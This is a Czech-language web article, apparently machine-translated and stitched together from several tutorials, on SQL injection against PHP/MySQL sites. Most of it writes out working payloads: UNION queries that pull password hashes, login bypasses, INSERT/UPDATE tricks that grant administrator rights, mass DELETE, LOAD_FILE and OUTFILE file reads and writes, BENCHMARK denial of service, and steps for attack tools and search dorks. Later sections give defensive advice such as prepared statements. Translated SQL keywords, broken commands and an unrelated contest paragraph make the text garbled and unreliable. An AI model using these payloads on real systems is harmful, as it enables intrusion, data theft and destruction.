SQL injekce. co to je? Jak zjistit verze MySQL

Neopatrnost a nepozornost jsou dva důvody pro psaní kódu, který je zranitelný vůči injekcím SQL. Třetí důvod – neznalost, by měl programátora povzbudit k prohloubení znalostí nebo dokonce ke změně povolání.

SQL injection ( SQL injekce) - zranitelnost ke kterému dochází v důsledku nedostatečného ověření a zpracování údajů, které jsou přenášeny od uživatele, a umožňuje upravovat a spouštět dotazy neočekávané kódem programu SQL.

SQL injection je rozšířená bezpečnostní chyba na internetu, kterou lze snadno zneužít bez speciálních programů a nevyžaduje rozsáhlé technické znalosti. Využití této zranitelnosti otevírá dveře skvělým příležitostem, jako jsou:

  • krádež dat – 80 %;
  • odmítnutí služby - 10 procent;
  • nahrazení nebo zničení dat – 2–3 %;
  • jiné případy a úmysly.

Existují také různé programy pro testování zabezpečení webových stránek pro všechny druhy injekcí JS a SQL.

Podrobné vysvětlení

V tomto článku se pokusím vysvětlit hlavní rizika, která vznikají při interakci s databází MySQL. Pro názornost uvedu příklad jednoduché struktury databáze, která je typická pro většinu projektů:

VYTVOŘIT DATABÁZI `novinky`; POUŽÍVEJTE `novinky`; # # tabulka zpráv # CREATE TABLE `news` (`id` int(11) NOT NULL auto_increment, `title` varchar(50) výchozí NULL, `date` datum a čas výchozí NULL, `text` text, PRIMÁRNÍ KLÍČ (`id` )) TYPE=MyISAM; # # přidat nějaká data # INSERT `news` SET `id`="1", `title`="first news", `date`="2005-06-25 16:50:20", `text`=" text zprávy"; INSERT `news` SET `id`="2", `title`="second news", `date`="2005-06-24 12:12:33", `text`="test news"; # # tabulka uživatelů # CREATE TABLE `users` (`id` int(11) NOT NULL auto_increment, `login` varchar(50) výchozí NULL, `password` varchar(50) výchozí NULL, `admin` int(1) NULL VÝCHOZÍ "0", PRIMÁRNÍ KLÍČ (`id`)) TYPE=MyISAM; # # přidejte několik uživatelů, jeden s právy správce, druhý jednoduchý # INSERT `users` SET `id`="1", `login`="admin", `password`="qwerty", `admin`="1 "; INSERT `users` SET `id`="2", `login`="user", `password`="1111", `admin`="0";

Vidíme, že požadavek je generován v závislosti na hodnotě $_GET["id"]. Pro kontrolu přítomnosti zranitelnosti stačí změnit ji na hodnotu, která může způsobit chybu při provádění SQL dotazu.

Samozřejmě nemusí dojít k žádnému chybovému výstupu, ale to neznamená, že ve výsledku k žádné chybě nedojde

"Máte chybu v syntaxi SQL; podívejte se do manuálu, který odpovídá verzi vašeho serveru MySQL, kde najdete správnou syntaxi pro použití poblíž """ na řádku 1"

nebo výsledek

http://test.com/index.php?id=2-1

pokud existuje zranitelnost, měla by přinést výsledek podobný jako

http://test.com/index.php?id=1.

Podobné zranitelnosti vám umožní upravit požadavek v části parametru WHERE. První věc, kterou útočník udělá, když je taková chyba zabezpečení objevena, je prozkoumat, kolik polí je v požadavku použito. K tomu je záměrně nesprávné id nastaveno tak, aby vyloučilo výstup skutečných informací, a je kombinováno s požadavkem se stejným počtem prázdných polí.

http://test.com/index.php?id=-1+UNION+SELECT+null,null,null,null

počet "null" musí odpovídat počtu polí, která jsou použita v požadavku.

Pokud dotaz vyvolá chybu, přidává se další prázdná hodnota, dokud chyba nezmizí a není vrácen výsledek s prázdnými daty. Dále jsou kombinovaná pole nahrazena hodnotami, které lze na stránce vizuálně sledovat.

Například:

http://test.com/index.php?id=-1+UNION+SELECT+null

Nyní se na stránce, kde se měl zobrazovat titulek zprávy, objeví qwerty.

Jak zjistit verze MySQL?

http://test.com/index.php?id=-1+UNION+SELECT+null,VERSION(),null,null http://test.com/index.php?id=-1+UNION+SELECT +null,USER(),null,null http://test.com/index.php?id=-1+UNION+SELECT+null,SESSION_USER(),null,null

Jak získat přihlašovací jméno aktuálního uživatele databáze?

http://test.com/index.php?id=-1+UNION+SELECT+null,SYSTEM_USER(),null,null

Jak se jmenuje používaná databáze?

http://test.com/index.php?id=-1+UNION+SELECT+null,DATABASE(),null,null

Jak získat další data z jiných tabulek?

SELECT * FROM `novinky` WHERE `id`=-1 UNION SELECT null, `heslo`, null, null FROM `users` WHERE `id`="1";

Toto je jednoduchý způsob, jak zjistit heslo nebo hash hesla správce. Pokud má aktuální uživatel přístupová práva k databázi „mysql“, útočník bez sebemenších problémů obdrží hash administrátorského hesla.

Http://test.com/index.php?id=-1+union+select+null,mysql.user.password,null,null+from+mysql.user

Nyní je jeho výběr jen otázkou času.

Vyhledávání

Vyhledávání je jedním z nejzranitelnějších míst, protože se současně přenáší velké množství parametrů dotazu. Příklad jednoduchého dotazu, který vyhledává podle klíčového slova:

VYBERTE * Z `zprávy` KDE `název` AKO "%$search%" NEBO `text` AKO "%$search%"

$search je slovo, které je odesláno z formuláře. Útočník může předat $search="# v proměnné, nyní bude požadavek vypadat takto:

SELECT * FROM `news` WHERE `title` LIKE "%"#%" NEBO `text` LIKE "%"#%";

V souladu s tím se namísto výsledků vyhledávání pro klíčové slovo zobrazí všechna data. To vám také umožňuje používat funkci agregace dotazů popsanou výše.

Pomocí parametru ORDER

Často se můžete setkat s tím, že při zadávání parametrů vyhledávání nebo zobrazování informací umožňují uživateli třídit data podle určitých polí. Hned řeknu, že použití této zranitelnosti není příliš nebezpečné, protože způsobí chybu při pokusu o sloučení požadavků, ale v kombinaci se zranitelnostmi v jiných oblastech existuje nebezpečí zakomentování tohoto parametru.

http://test.com/index.php?sort=name

parametr ORDER je tvořen v závislosti na proměnné $sort

Bude vygenerován následující požadavek:

VYBERTE * Z `zprávy` KDE `název` JAKO "%"/*%" NEBO `text` JAKO "%"/*%" OBJEDNAT PODLE */

tím okomentuje jednu z podmínek a parametr ORDER

Nyní můžete dotaz znovu zkombinovat přiřazením $sort=*/ UNION SELECT...

Jako možnost zneužití zranitelnosti tohoto parametru:

SELECT * FROM `users` ORDER BY LENGTH(heslo);

Umožní vám třídit uživatele v závislosti na délce hesla, za předpokladu, že je uloženo v „čisté“ podobě.

Oprávnění

Zkusme nyní zvážit možnosti pro SQL injekce, ke kterým dochází při autorizaci uživatele. Požadavek, který kontroluje správnost autorizačních dat, obvykle vypadá takto:

SELECT * FROM `users` WHERE `login`="$login" AND `password`="$password";

kde $login a $password jsou proměnné, které jsou předány z formuláře. Takový dotaz vrátí data pro uživatele, pokud je úspěšný, a prázdný výsledek, pokud není úspěšný. Aby mohl útočník předat autorizaci, potřebuje pouze upravit požadavek tak, aby vracel nenulový výsledek. Je zadáno přihlašovací jméno, které odpovídá skutečnému uživateli, a místo hesla " OR "1"="1" nebo nějaká pravdivá podmínka (1, "a"="a", 1<>2, 3>2, 1+1, ISNULL(NULL), 2 IN (0,1,2), 2 MEZI 1 A 3). V souladu s tím bude požadavek vygenerován následovně:

SELECT * FROM `users` WHERE `login`="admin" AND `password`="" OR "1"="1";

což vrátí výsledek a v důsledku povede k neoprávněné autorizaci. Co když jsou hesla v tabulce hašovaná? Poté se kontrola hesla jednoduše „zakáže“ zakomentováním všeho, co přijde po „přihlášení“. Ve formuláři je místo loginu přiřazen login skutečného uživatele a „#, čímž se kontrola hesla komentuje.

SELECT * FROM `users` WHERE `login`="admin"#" A `password`="12345"

jako možnost "NEBO `id`=2#

VYBERTE * FROM `users` WHERE `login`="" OR `id`=2#" A `password`="12345"

SELECT * FROM `users` WHERE `login`="" NEBO `admin`="1"#" A `password`="12345"

Velkou chybou je zkontrolovat heslo takto:

SELECT * FROM `users` WHERE `login`="$login" A `password` JAKO "$password"

protože v tomto případě je heslo % vhodné pro jakékoli přihlášení

VLOŽIT A AKTUALIZOVAT

Nejsou to však pouze SELECTy, které jsou slabou stránkou SQL. INSERT a UPDATE mohou být neméně zranitelné. Řekněme, že web má možnost registrovat uživatele. Dotaz, který přidává nového uživatele:

Chyba zabezpečení v jednom z polí umožňuje upravit požadavek o potřebná data. Do přihlašovacího pole přidáme uživatele, „heslo“, 1)#, čímž přidáme uživatele s právy správce.

INSERT `users` SET `login`="user", `password`="password", `admin`="0";

Předpokládejme, že pole `admin` se nachází před polem `login`, takže trik s nahrazením dat za polem `login` nefunguje. Připomeňme, že syntaxe příkazu INSERT umožňuje přidat nejen jeden řádek, ale několik. Příklad zranitelnosti v přihlašovacím poli: $login= uživatel", "heslo"), (1, "hacker", "heslo")#

INSERT INTO `users` SET (`admin`, `login`, `password`) VALUES (0, "user", "password"), (1, "hacker", "password")#", "password") ;

Tímto způsobem se vytvoří 2 záznamy, jeden s právy jednoduchého uživatele, druhý s požadovanými právy správce.

Podobná situace s UPDATE

Přidání dalších polí ke změně:

$login=", `heslo`="", `admin`="1

Pak podobná žádost

UPDATE `users` SET `login`="čajník" WHERE `id`=2;

Upraveno následovně:

UPDATE `users` SET `login`="", `password`="", `admin`="1" WHERE `id`=2;

Co se bude dít? Uživatel s ID 2 změní přihlašovací jméno a heslo na prázdné hodnoty a získá administrátorská práva. Nebo pro případ

$login=", `password`="" KDE `id` =1#

Přihlašovací jméno a heslo správce budou prázdné.

VYMAZAT

Vše je zde jednoduché, nebudete moci získat ani změnit žádná data, ale vždy můžete nepotřebná data smazat.

$id=1 NEBO 1=1

DELETE FROM `news` WHERE `id`="1" OR 1=1; // vymaže všechny položky v tabulce.

Místo 1=1 může existovat jakákoliv výše zmíněná pravdivá podmínka. Parametr LIMIT lze uložit, což omezí počet smazaných řádků, ale ne vždy, lze jej jednoduše zakomentovat.

DELETE FROM `news` WHERE `id`="1" OR 1=1# LIMIT 1;

Práce se soubory přes SQL injection

Vážně pochybuji, že se to může stát kdekoli, ale abych byl spravedlivý, je třeba popsat i takové metody. Pokud jsou povolena oprávnění k souboru, můžete použít příkazy LOAD_FILE a OUTFILE.

Jejich nebezpečnost lze posoudit z níže uvedených dotazů:

SELECT * FROM `news` WHERE `id`=-1 union select null,LOAD_FILE("/etc/passwd"),null,null; SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null, LOAD_FILE("/home/test/www/dbconf.php"),null,null;

Tím ale všechny potíže ještě nekončí.

SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null,"",null,null FROM `news` do výstupního souboru "/home/test/www/test.php";

Takto napíšeme soubor, který obsahuje PHP kód. Pravda, kromě kódu v něm bude několik dalších nulových položek, ale to žádným způsobem neovlivní výkon kódu PHP. Existuje však několik podmínek, kvůli kterým budou tyto metody fungovat:

  • Pro aktuálního uživatele databáze je povoleno oprávnění FILE;
  • Práva ke čtení nebo zápisu těchto souborů má uživatel, pod kterým běží MySQL server, absolutní cesta k souboru;
  • méně důležitou podmínkou je, že velikost souboru musí být menší než max_allowed_packet, ale protože v MySQL 3.23 může být největší velikost balíčku 16 MB a ve verzi 4.0.1 a více je velikost balíčku omezena pouze velikostí dostupné paměti, do teoretického maxima 2 GB tato podmínka obvykle vždy k dispozici.

Magické citáty

Magické uvozovky znemožňují použití SQL injekcí v řetězcových proměnných, protože automaticky unikají všem " a ", které přicházejí s $_GET a $_POST. To ale neplatí pro použití zranitelností v celočíselných nebo zlomkových parametrech, i když s tou výjimkou, že nebude možné použít ". V tomto případě pomáhá funkce char.

SELECT * FROM `novinky` WHERE `id`=-1 UNION SELECT null, char(116, 101, 115, 116), null, null;

DOS přes SQL injection.

Málem bych zapomněl říct, a SQL odborníci to potvrdí, že operace UNION je možná pouze v MySQL >=4.0.0. Lidé, kteří mají projekty na předchozích verzích, si oddechli :) Ale ne vše je tak bezpečné, jak to na první pohled vypadá. Logiku útočníka je někdy těžké sledovat. „Když se mi nepodaří hacknout, alespoň selžu,“ pomyslí si hacker a zadá funkci BENCHMARK pro příklad požadavku

SELECT * FROM `novinky` WHERE `id`=BENCHMARK(1000000,MD5(NOW()));

Trvalo mi to 12 až 15 sekund. Přidání nuly - 174 sekund. Jednoduše jsem nemohl zvednout ruku, abych udělal víc. Samozřejmě, že na výkonných serverech se takové věci budou dělat mnohem rychleji, ale...BENCHMARK vám umožňuje investovat jeden po druhém. Takhle:

SELECT * FROM `news` WHERE `id`=BENCHMARK(1000000,BENCHMARK(1000000,MD5(NOW())));

Nebo i takhle

SELECT * FROM `news` WHERE `id`=BENCHMARK(1000000,BENCHMARK(1000000,BENCHMARK(1000000,MD5(NOW()))));

A počet nul je omezen pouze „laskavostí“ toho, kdo je píše.

Myslím si, že ani VELMI výkonný stroj nebude schopen takové požadavky snadno spolknout.

Sečteno a podtrženo

To je vše. V tomto článku jsem se snažil co nejvíce pokrýt typy zranitelností, kterých se programátoři dopouštějí při vytváření programů pomocí databází MySQL. Jsem si však více než jistý, že to není úplný seznam.

Je důležité si zapamatovat pravidla proti SQL injections

  • Nedůvěřujte ŽÁDNÝM datům, která pocházejí od uživatele. Nemluvíme jen o datech, která jsou přenášena v polích $_GET a $_POST. Nezapomeňte na $_COOKIE a další části HTTP hlaviček. Měli byste si uvědomit, že je snadné je vyměnit.
  • Neměli byste se spoléhat na možnost PHP „magické uvozovky“, která pravděpodobně více překáží, než pomáhá. Všechna data, která se přenášejí do databáze, musí být shrnuta podle typu s databázovými poli. ($id=(int)$_GET["id")] nebo chráněné funkcemi mysql_real_escape_string nebo mysql_real_escape_string.
  • mysql_real_escape_string neuniká % a _, takže by se neměl používat ve spojení s LIKE.
  • Ani na správně napsaný mod_rewrite byste se neměli příliš spoléhat. Toto jsou pouze způsoby, jak vytvořit „pohodlné“ adresy URL, ale rozhodně ne způsob, jak se chránit před injekcemi SQL.
  • Zakázat hlášení chyb.
  • Nepomáhat špatným návštěvníkům. I když je chyba identifikována, nedostatek informací o ní vážně ztíží její aplikaci. Pamatujte na rozdíl mezi vývojovou fází a pracovním návrhem. Chybový výstup a další podrobné informace – váš spojenec ve fázi vývoje a útočníkův spojenec v pracovní verzi. Také byste je neměli skrývat komentářem v HTML kódu, na každých 1000 návštěvníků připadne 1, který takové věci ještě najde.
  • Ošetřete chyby.
  • Zpracování SQL dotazů pište tak, aby se informace o nich ukládaly do nějakých protokolů nebo se odeslaly poštou.
  • Neukládejte data o přístupu k databázi do souborů, které nejsou zpracovávány PHP jako kód.
  • Nemyslím si, že jsem pro nikoho objevil Ameriku, ale z vlastní zkušenosti mohu říci, že tato praxe je zcela běžná. Obvykle se jedná o soubor s příponou *.inc
  • Nevytvářejte databázi „superuživatele“.
  • Udělujte pouze práva nezbytná k provádění konkrétních úkolů.
  • Ve vyhledávání se vyplatí omezit minimální a maximální počet znaků, což jsou parametry dotazu.
  • Pro poctivého uživatele stačí 3 až 60-70 znaků k uspokojení jeho vyhledávacích zájmů a zároveň předejdete situacím, kdy vyhledávací dotaz bude objemem „Válka a mír“.
  • Vždy zkontrolujte počet záznamů vrácených po dotazu

Téměř 90 % stránek napsaných v PHP Je tam taková logická chyba, tu lze pozorovat zejména při požadavku na základě ID obdrženého od uživatele. Pokud skriptu ručně přidělíte neexistující ID, uvidíme docela zajímavé výsledky z práce některých skriptů , místo toho, aby vrátil 404, program v nejlepším případě neudělá nic a zobrazí se na prázdné stránce.

Bezpečné SQL pro vás.

Počet stránek a stránek na internetu neustále roste. Každý, kdo může, se ujímá vývoje. A začínající weboví programátoři velmi často používají nebezpečný a starý kód. A to vytváří spoustu mezer pro útočníky a hackery. Což je to, co používají. Jednou z nejklasičtějších zranitelností je SQL injection.

Trochu teorie

Mnoho lidí ví, že většina webů a služeb na internetu používá k jejich ukládání databáze SQL. Jedná se o strukturovaný dotazovací jazyk, který vám umožňuje spravovat a spravovat datové sklady. Existuje mnoho různých verzí systémů pro správu databází – Oracle, MySQL, Postgre. Bez ohledu na název a typ používají datové dotazy stejným způsobem. V tom spočívá potenciální zranitelnost. Pokud vývojář nebyl schopen správně a bezpečně zpracovat požadavek, může toho využít útočník a pomocí speciální taktiky získat přístup k databázi a odtud ovládat celý web.

Abyste se takovým situacím vyhnuli, je potřeba správně optimalizovat kód a pečlivě sledovat, který požadavek je jakým způsobem zpracován.

Kontrola SQL injekcí

K určení přítomnosti zranitelností v síti existuje spousta hotových automatizovaných softwarových systémů. Ale můžete provést jednoduchou kontrolu ručně. Chcete-li to provést, musíte přejít na jeden z webů, které zkoumáte, a pokusit se vyvolat chybu databáze v adresním řádku. Například skript na webu nemusí zpracovat požadavky a nemusí je odříznout.

Například existuje určitý_web/index.php?id=25

Nejjednodušší způsob je zadat cenovou nabídku po 25 a odeslat poptávku. Pokud nedojde k žádné chybě, pak jsou buď všechny požadavky na webu filtrovány a zpracovány správně, nebo je jejich výstup zakázán v nastavení. Pokud se stránka znovu načetla s problémy, znamená to, že existuje zranitelnost pro SQL injection.

Jakmile je detekován, můžete se ho pokusit zbavit.

Chcete-li implementovat tuto chybu zabezpečení, musíte o ní něco vědět. Jedním z nich je UNION. Kombinuje více výsledků dotazu do jednoho. Tímto způsobem můžete vypočítat počet polí v tabulce. Příklad prvního požadavku vypadá takto:

  • some_site/index.php?id=25 UNION SELECT 1.

Ve většině případů by takový záznam měl generovat chybu. To znamená, že počet polí není roven 1. Výběrem možností od 1 a více tedy můžete nastavit jejich přesný počet:

  • some_site/index.php?id=25 UNION SELECT 1,2,3,4,5,6.

To znamená, že když se chyba přestane zobrazovat, znamená to, že počet polí je správný.

Existuje také alternativní řešení tohoto problému. Například, když je počet polí velký - 30, 60 nebo 100. Toto je příkaz GROUP BY. Seskupuje výsledky dotazů podle nějaké charakteristiky, například id:

  • some_site/index.php?id=25 GROUP BY 5.

Pokud nebyly přijaty žádné chyby, znamená to, že polí je více než 5. Dosazením možností z poměrně široké škály tedy můžete vypočítat, kolik jich ve skutečnosti je.

Tento příklad injekce SQL je pro začátečníky, kteří si chtějí vyzkoušet své webové stránky. Je důležité si uvědomit, že existuje článek trestního zákoníku pro neoprávněný přístup k cizímu majetku.

Hlavní typy injekcí

Existuje několik možností pro implementaci zranitelností prostřednictvím SQL injection. Níže jsou uvedeny nejoblíbenější metody:

    vstřikování UNION. Jednoduchý příklad tohoto typu již byl popsán výše. Je implementován z důvodu chyby při kontrole příchozích dat, která nejsou nijak filtrována.

    Injekce SQL založená na chybách. Jak název napovídá, tento typ také využívá chyby odesíláním výrazů, které jsou syntakticky nesprávné. Poté jsou zachyceny hlavičky odpovědí, analyzovány, které lze následně použít k provedení SQL injection.

    Složená injekce. Tato chyba zabezpečení je určena prováděním sekvenčních požadavků. Vyznačuje se přidáním „;“ na konec. Tento přístup je nejčastěji implementován pro přístup k implementaci čtení a zápisu dat nebo pro řízení funkcí operačního systému, pokud to oprávnění umožňují.

Softwarové systémy pro vyhledávání zranitelností SQL

Programy, které jsou k dispozici pro provádění injekcí SQL, mají obvykle dvě složky – skenování webu na možné zranitelnosti a jejich použití k získání přístupu k datům. Takové nástroje existují pro téměř všechny známé platformy. Jejich funkčnost výrazně usnadňuje kontrolu webu na možnost hackování pomocí SQL injection.

Sqlmap

Velmi výkonný skener, který pracuje s většinou známých DBMS. Podporuje různé techniky vkládání SQL. Má schopnost automaticky rozpoznat typ hash hesla a prolomit jej pomocí slovníku. K dispozici je také funkce pro stahování a nahrávání souborů ze serveru.

Instalace v prostředí Linuxu se provádí pomocí příkazů:

  • git klon https://github.com/sqlmapproject/sqlmap.git sqlmap-dev,
  • cdsqlmap-dev/,
  • ./sqlmap.py --wizard.

Pro Windows je k dispozici jak příkazový řádek, tak možnost grafického uživatelského rozhraní.

jSQL Injection

jSQL Injection je multiplatformní nástroj pro testování zneužití zranitelností SQL. Napsáno v Javě, takže JRE musí být nainstalováno v systému. Schopný zpracovávat požadavky na záhlaví a soubory cookie. Má pohodlné grafické rozhraní.

Instalace tohoto softwarového balíčku probíhá následovně:

wget https://github.com/`curl -s https://github.com/ron190/jsql-injection/releases| grep-E -o "/ron190/jsql-injection/releases/download/v(1,2).(1,2)/jsql-injection-v(1,2).(1,2).jar"| hlava-n 1`

Spusťte pomocí příkazu java -jar ./jsql-injection-v*.jar

Abyste mohli začít kontrolovat stránky na zranitelnosti SQL, musíte do horního pole zadat jeho adresu. Jsou oddělené pro GET a pro POST. Pokud je výsledek kladný, zobrazí se v levém okně seznam dostupných tabulek. Můžete si je prohlédnout a zjistit některé důvěrné informace.

Chcete-li vyhledat panely pro správu, použijte kartu „Stránka správce“. Automaticky vyhledává systémové záznamy privilegovaných uživatelů pomocí speciálních šablon. Z nich můžete získat pouze hash hesla. Ale je také k dispozici v nástrojích programu.

Po nalezení všech zranitelností a vložení potřebných požadavků vám utilita umožní nahrát váš soubor na server nebo naopak stáhnout odtud.

SQLi Dumper v.7

Tento program je snadno použitelný nástroj pro vyhledávání a implementaci zranitelností v SQL. OSN to vyrábí na základě tzv. dorks. Jejich seznamy lze nalézt na internetu. Klíčová slova SQL injection jsou speciální vzory vyhledávacích dotazů. S jejich pomocí je můžete potenciálně najít prostřednictvím jakéhokoli vyhledávače.

Školicí nástroje

Stránka itsecgames.com má speciální sadu nástrojů, která vám umožňuje na příkladech ukázat, jak vytvořit SQL injekci a otestovat ji. Abyste jej mohli používat, musíte si jej stáhnout a nainstalovat. Archiv obsahuje sadu souborů, které představují strukturu webu. K instalaci budete potřebovat sadu webových serverů Apache, MySQL a PHP dostupných v systému.

Po rozbalení archivu do složky webového serveru musíte přejít na adresu zadanou při instalaci tohoto softwarového produktu. Otevře se stránka registrace uživatele. Zde musíte zadat svá data a kliknout na „Vytvořit“. Po převedení uživatele do nového okna systém nabídne výběr jedné z možností testování. Mezi nimi jsou jak popsané injekce, tak mnoho dalších testovacích úloh.

Stojí za to podívat se na příklad SQL injection, jako je GET/Search. Zde jej musíte vybrat a kliknout na „Hack“. Uživateli se zobrazí vyhledávací lišta a imitace určité stránky s filmy. Filmy můžete procházet dlouho. Je jich ale jen 10. Můžete zkusit například vstoupit do Iron Mana. Zobrazí se film, což znamená, že web funguje a jsou na něm tabulky. Nyní musíme zkontrolovat, zda skript filtruje speciální znaky, zejména citaci. Chcete-li to provést, musíte do adresního řádku přidat „“. Navíc to musí být provedeno za názvem filmu. Stránka zobrazí chybu Chyba: Máte chybu v syntaxi SQL; podívejte se do příslušné příručky na verzi vašeho serveru MySQL, kde je uvedena správná syntaxe pro použití blízko "%"" na řádku 1, což znamená, že znaky jsou stále zpracovávány nesprávně. To znamená, že můžete zkusit svůj požadavek nahradit. Ale musíte nejprve vypočítat počet polí. K tomu použijte příkaz order by, který se zadává za citací: http://testsites.com/sqli_1.php?title=Iron+Man" order by 2 --&action=search.

Tento příkaz jednoduše zobrazí informace o filmu, to znamená, že počet polí je větší než 2. Dvojitá pomlčka říká serveru, že ostatní požadavky by měly být zahozeny. Nyní musíte iterovat a nahrazovat stále větší hodnoty, dokud se nezobrazí chyba. Ve výsledku se ukazuje, že bude 7 polí.

Nyní je čas získat něco užitečného z databáze. Budete muset mírně upravit požadavek v adresním řádku a uvést jej do tohoto tvaru: http://testsites.com/sqli_1.php?title=Iron+Man" union select 1, database(),user(),4 ,password,6, 7 od uživatelů --&action=search. V důsledku jeho provedení se zobrazí řádky s hashe hesel, které lze snadno převést na srozumitelné znaky pomocí některé z online služeb. A s trochou kouzla a výběrem jména přihlašovacího pole můžete získat přístup k záznamu někoho jiného, ​​například správce webu.

Výrobek má spoustu různých typů vstřikování, se kterými je možné cvičit. Stojí za to připomenout, že používání těchto dovedností online nebo na skutečných stránkách může být trestně postižitelné.

Injekce a PHP

Zpravidla je to PHP kód, který je zodpovědný za nezbytné zpracování požadavků přicházejících od uživatele. Proto je na této úrovni potřeba vybudovat ochranu proti SQL injekcím v PHP.

  • Data musí být před uložením do databáze vždy zpracována. Toho lze dosáhnout použitím existujících výrazů nebo ručním uspořádáním dotazů. Zde také stojí za zvážení, že číselné hodnoty jsou převedeny na typ, který je potřeba;
  • Vyhněte se výskytu různých řídicích struktur v požadavku.

Nyní něco málo o pravidlech pro skládání dotazů v MySQL pro ochranu před SQL injekcemi.

Při psaní jakýchkoli dotazových výrazů je důležité oddělit data od klíčových slov SQL.

  • SELECT * FROM tabulky WHERE jméno = Zerg.

V tomto návrhu si systém může myslet, že Zerg je název pole, takže je třeba jej uzavřít do uvozovek.

  • SELECT * FROM tabulky WHERE jméno = "Zerg".

Existují však situace, kdy samotná hodnota obsahuje uvozovky.

  • SELECT * FROM tabulky WHERE jméno = "Pobřeží slonoviny".

Zde bude zpracována pouze část cat-d a zbytek lze vnímat jako příkaz, který samozřejmě neexistuje. Proto dojde k chybě. To znamená, že tento druh dat musí být prověřen. Chcete-li to provést, použijte zpětné lomítko - \.

  • SELECT * FROM tabulky WHERE jméno = "Pobřeží slonoviny".

Vše výše uvedené platí pro struny. Pokud se akce vyskytne s číslem, pak nepotřebuje žádné uvozovky ani lomítka. Musí se však vynutit, aby byly převedeny na požadovaný datový typ.

Existuje doporučení, že název pole by měl být uzavřen ve zpětné uvozovce. Tento symbol se nachází na levé straně klávesnice spolu se znakem vlnovky „~“. To je nezbytné, aby MySQL mohla přesně rozlišit název pole od jeho klíčového slova.

Dynamická práce s daty

Velmi často se k získání jakýchkoli dat z databáze používají dynamicky generované dotazy. Například:

  • SELECT * FROM tabulky WHERE číslo = "$číslo".

Zde je proměnná $číslo předána jako definice hodnoty pole. Co se stane, když se do toho dostane Pobřeží slonoviny?

Tomuto problému se samozřejmě můžete vyhnout zapnutím „kouzelných uvozovek“ v nastavení. Nyní se ale budou data prověřovat tam, kde je to nutné a kde to není nutné. Kromě toho, pokud je kód napsán ručně, můžete strávit trochu více času vytvořením systému odolného proti hackování sami.

Chcete-li sami přidat lomítko, můžete použít mysql_real_escape_string.

$číslo=mysql_real_escape_string($číslo);

$year=mysql_real_escape_string($year);

$query="INSERT INTO table (číslo,rok,třída) HODNOTY ("$číslo","$rok",11)".

Přestože objem kódu narostl, stále bude potenciálně fungovat mnohem bezpečněji.

Zástupné symboly

Zástupné symboly jsou jedinečné značky, pomocí kterých systém ví, že na toto místo je třeba vložit speciální funkci. Například:

$sate = $mysqli->prepare("SELECT District FROM Number WHERE Name=?");

$sate->bind_param("s", $číslo);

$sate->execute();

Tato část kódu připraví šablonu požadavku, poté sváže proměnnou čísla a provede ji. Tento přístup umožňuje oddělit zpracování požadavků a jejich implementaci. Tímto způsobem se můžete chránit před použitím vkládání škodlivého kódu do SQL dotazů.

Co může útočník udělat?

Ochrana systému je velmi důležitým faktorem, který nelze opomíjet. Jednoduchý web s vizitkou bude samozřejmě snazší obnovit. Co když je to velký portál, služba, fórum? Jaké následky to může mít, když nemyslíte na bezpečnost?

Za prvé, hacker může narušit integritu databáze a celou ji smazat. A pokud správce webu nebo hostitel neudělal zálohu, bude to těžké. Útočník, který hacknul jeden web, se navíc může přesunout na další hostované na stejném serveru.

Následuje krádež osobních údajů návštěvníků. Jak je používat, je omezeno pouze hackerovou představivostí. Důsledky ale každopádně nebudou moc příjemné. Zvláště pokud obsahoval finanční informace.

Útočník může také prozradit databázi sám sobě a následně vymáhat peníze za její vrácení.

Dezinformace uživatelů jménem osoby, která jimi není, může mít také negativní důsledky, protože jsou možné případy podvodu.

Závěr

Všechny informace v tomto článku jsou poskytovány pouze pro informační účely. Měli byste jej používat pouze pro testování vlastních projektů při identifikaci zranitelností a jejich odstraňování.

Chcete-li podrobněji prostudovat metodologii, jak provést injekci SQL, musíte začít skutečným prozkoumáním schopností a vlastností jazyka SQL. Jak se skládají dotazy, klíčová slova, datové typy a aplikace toho všeho.

Také se neobejdete bez pochopení toho, jak fungují funkce PHP a prvky HTML. Hlavními zranitelnými místy pro použití injekcí jsou adresní řádek, vyhledávání a různá pole. Studium funkcí PHP, jejich implementace a jejich schopností vám pomůže pochopit, jak se můžete vyhnout chybám.

Přítomnost mnoha hotových softwarových nástrojů vám umožňuje provádět hloubkovou analýzu webu na známé zranitelnosti. Jedním z nejoblíbenějších produktů je kali linux. Toto je obraz operačního systému založeného na Linuxu, který obsahuje velké množství utilit a programů, které dokážou provést komplexní analýzu síly webu.

Proč potřebujete vědět, jak hacknout web? Vše je velmi jednoduché - je to nutné, abyste měli představu o potenciálně zranitelných oblastech vašeho projektu nebo webu. Zejména pokud se jedná o internetový obchod s možností platit online, kde mohou být platební údaje uživatele kompromitovány útočníkem.

Pro profesionální výzkum budou služby informační bezpečnosti schopny zkontrolovat stránky podle různých kritérií a hloubky. Počínaje jednoduchým vkládáním HTML po sociální inženýrství a phishing.

Přejeme vám úspěch při jeho dokončení. Výsledky vaší pasáže budou zveřejněny později (sledujte novinky na sociálních sítích) a všem, kteří prošli, bude také zaslán pozvat k registraci na webu.

Lajkujte, sdílejte s přáteli a kolegy, repostujte na sociálních sítích.

Všichni programátoři četli nebo alespoň slyšeli o metodách pro hackování zabezpečení webových stránek. Nebo dokonce narazil na tento problém. Na druhou stranu, fantazie těch, kteří chtějí stránky rozbít, je nekonečná, takže všechna úzká místa musí být dobře chráněna. Proto bych rád zahájil sérii krátkých článků, které představí základní metody a techniky hackování webových stránek.

V prvním článku bych rád popsal a vysvětlil některé běžné metody pro hacknutí jedné z nejzranitelnějších částí webu – formulářů. Půjdu podrobně o tom, jak tyto techniky používat a jak předcházet útokům, stejně jako o testování zabezpečení.

SQL injekce

SQL injection je technika, kdy útočník zadává SQL příkazy do vstupního pole na webové stránce. Tímto vstupem může být cokoliv – textové pole ve formuláři, parametry _GET a _POST, cookies atd. Tato metoda byla velmi účinná před příchodem frameworků ve světě PHP. Ale tento hack může být stále nebezpečný, pokud nepoužíváte ORM nebo jiná rozšíření k datovému objektu. Proč? Vzhledem ke způsobu předávání parametrů do SQL dotazu.

"Slepé" injekce

Začněme klasickým příkladem SQL příkazu, který vrací uživatele pomocí hash přihlašovacího jména a hesla (přihlašovací stránka)

Příklad 1

mysql_query("SELECT id, přihlášení FROM users WHERE login = ? a heslo = hash(?)");

Do výrazu dávám otazníky kvůli různým variantám tohoto řešení. První možnost je podle mého názoru nejzranitelnější:

Příklad 1a

Mysql_query("SELECT id, přihlášení FROM users WHERE login = "" . $login . "" a heslo = hash("" . $password . "")");

